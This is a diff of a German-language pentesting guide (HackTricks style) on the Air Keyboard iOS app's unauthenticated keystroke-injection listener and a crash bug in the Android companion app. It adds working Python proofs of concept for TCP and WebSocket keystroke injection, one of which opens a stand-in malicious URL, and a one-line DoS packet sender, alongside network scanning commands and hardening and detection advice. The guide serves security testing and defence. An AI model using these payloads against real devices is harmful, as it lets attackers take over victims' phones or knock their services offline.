diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index 4263797b9..b8b70068d 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,18 +1,25 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -Die iOS-Version der kommerziellen "Air Keyboard"-Anwendung (App Store ID 6463187929) öffnet einen **klartext TCP-Dienst auf Port 8888**, der Tastatureingabeframes **ohne jegliche Authentifizierung** akzeptiert. Jedes Gerät im selben Wi-Fi-Netzwerk kann sich mit diesem Port verbinden und beliebige Tastatureingaben in das Telefon des Opfers injizieren, was zu **vollständiger Ferninteraktionsübernahme** führt. +Die iOS-Version der kommerziellen **„Air Keyboard“**-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der **Tastatureingabeframes ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert**. Je nach installierter Version ist der Dienst entweder: -Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht eine **nicht behandelte Ausnahme in der OpenSSL-Dekrutierungsroutine**, die den Hintergrunddienst zum Absturz bringt (**DoS**). +* **≤ 1.0.4** – roter TCP-Listener auf **Port 8888**, der einen 2-Byte-Längenheader erwartet, gefolgt von einer *device-id* und der ASCII-Nutzlast. +* **≥ 1.0.5 (Juni 2025)** – **WebSocket**-Listener auf dem *gleichen* Port (**8888**), der **JSON**-Schlüssel wie `{"type":1,"text":"…"}` analysiert. -## 1. Service Discovery +Jedes Gerät im selben Wi-Fi / Subnetz kann daher **willkürliche Tastatureingaben in das Telefon des Opfers injizieren und vollständige Remote-Interaktionsübernahme erreichen**. Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht dennoch eine **nicht behandelte Ausnahme in OpenSSL**, die den Hintergrunddienst zum Absturz bringt (**DoS**). + +> Die Schwachstelle ist **zum Zeitpunkt des Schreibens (Juli 2025) immer noch nicht gepatcht** und die Anwendung bleibt im App Store verfügbar. + +--- + +## 1. Dienstentdeckung Scannen Sie das lokale Netzwerk und suchen Sie nach den beiden festen Ports, die von den Apps verwendet werden: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -20,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` Auf Android-Geräten können Sie das verantwortliche Paket lokal identifizieren: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Frame-Format (iOS) +Auf **jailbroken iOS** können Sie etwas Ähnliches tun mit `lsof -i -nP | grep LISTEN | grep 8888`. -Die Binärdatei zeigt die folgende Parsing-Logik innerhalb der `handleInputFrame()`-Routine: +--- + +## 2. Protokolldetails (iOS) + +### 2.1 Legacy (≤ 1.0.4) – benutzerdefinierte binäre Frames ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -Die deklarierte Länge umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst. +Die deklarierte *Länge* umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst. -## 3. Exploitation PoC +### 2.2 Aktuell (≥ 1.0.5) – JSON über WebSocket + +Version 1.0.5 wurde stillschweigend auf WebSockets migriert, während die Portnummer unverändert blieb. Ein minimaler Tastendruck sieht aus wie: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +Kein Handshake, Token oder Signatur ist erforderlich – das erste JSON-Objekt löst bereits das UI-Ereignis aus. + +--- + +## 3. Ausnutzung PoC + +### 3.1 Zielgerichtet ≤ 1.0.4 (raw TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Jede druckbare ASCII (einschließlich `\n`, `\r`, Sondertasten usw.) kann gesendet werden, was dem Angreifer effektiv die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, Phishing-URLs besuchen usw. +### 3.2 Zielgerichtet ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*Jeder druckbare ASCII-Zeichen — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.* + +--- ## 4. Android Companion – Denial-of-Service -Der Android-Port (55535) erwartet ein 4-Zeichen-Passwort, das mit einem **fest codierten AES-128-ECB-Schlüssel** verschlüsselt ist, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten. +Der Android-Port (55535) erwartet ein **4-Zeichen-Passwort, das mit einem fest codierten AES-128-ECB-Schlüssel verschlüsselt ist**, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Ursachenanalyse +--- -1. **Keine Herkunfts- / Integritätsprüfungen** bei eingehenden Frames (iOS). -2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **mangelnde Ausnahmebehandlung** (Android). +## 5. Verwandte Apps – Ein wiederkehrendes Anti-Muster -## 6. Minderung & Härtungsideen +Air Keyboard ist **kein Einzelfall**. Andere mobile „Remote-Tastatur/Maus“-Hilfsprogramme haben denselben Fehler: -* Exponiere niemals nicht authentifizierte Dienste auf einem mobilen Endgerät. -* Leite gerätespezifische Geheimnisse während des Onboardings ab und verifiziere sie, bevor du Eingaben verarbeitest. -* Binde den Listener an `127.0.0.1` und verwende einen gegenseitig authentifizierten, verschlüsselten Transport (z. B. TLS, Noise) für die Fernsteuerung. -* Erkenne unerwartete offene Ports während mobiler Sicherheitsüberprüfungen (`netstat`, `lsof`, `frida-trace` auf `socket()` usw.). -* Als Endbenutzer: Deinstalliere Air Keyboard oder verwende es nur in vertrauenswürdigen, isolierten Wi-Fi-Netzwerken. +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 erlauben nicht authentifizierte Befehlsausführung und Klartext-Tastatureingabeprotokollierung. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nicht authentifizierte RCE & Verkehrsschnüffeln. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 standardmäßig kein Passwort, schwache PIN-Brute-Force und Klartext-Leckage. + +Diese Fälle heben eine systematische Vernachlässigung der **netzwerkseitigen Angriffsflächen in mobilen Apps** hervor. + +--- + +## 6. Grundursachen + +1. **Keine Herkunfts-/Integritätsprüfungen** bei eingehenden Frames (iOS). +2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **fehlende Ausnahmebehandlung** (Android). +3. **Vom Benutzer gewährte Local-Network-Berechtigung ≠ Sicherheit** – iOS fordert zur Laufzeit die Zustimmung für LAN-Verkehr an, ersetzt jedoch keine ordnungsgemäße Authentifizierung. + +--- + +## 7. Härtungs- & Verteidigungsmaßnahmen + +Entwicklerempfehlungen: + +* Binden Sie den Listener an **`127.0.0.1`** und tunneln Sie über **mTLS** oder **Noise XX**, wenn Fernsteuerung erforderlich ist. +* Leiten Sie **geräteabhängige Geheimnisse während der Onboarding-Phase ab** (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie *gegenseitige* Authentifizierung, bevor Sie Eingaben verarbeiten. +* Übernehmen Sie das **Apple Network Framework** mit *NWListener* + TLS anstelle von Roh-Sockets. +* Implementieren Sie **Längenpräfix-Sanity-Checks** und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames. + +Blue-/Red-Team schnelle Erfolge: + +* **Netzwerksuche:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` oder Wireshark-Filter `tcp.port == 8888`. +* **Laufzeitanalyse:** Frida-Skript, das `socket()`/`NWConnection` hookt, um unerwartete Listener aufzulisten. +* **iOS App Privacy Report (Einstellungen ▸ Datenschutz & Sicherheit ▸ App-Datenschutzbericht)** hebt Apps hervor, die LAN-Adressen kontaktieren – nützlich, um bösartige Dienste zu erkennen. +* **Mobile EDRs** können einfache Yara-L-Regeln für die JSON-Schlüssel `"selectionStart"`, `"selectionEnd"` innerhalb von Klartext-TCP-Nutzlasten auf Port 8888 hinzufügen. + +--- ## Erkennungs-Checkliste (Pentester) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## Referenzen -- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17. Juli 2025) – Remote Input Injection-Sicherheitsanfälligkeit in der Air Keyboard iOS App weiterhin ungepatcht](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}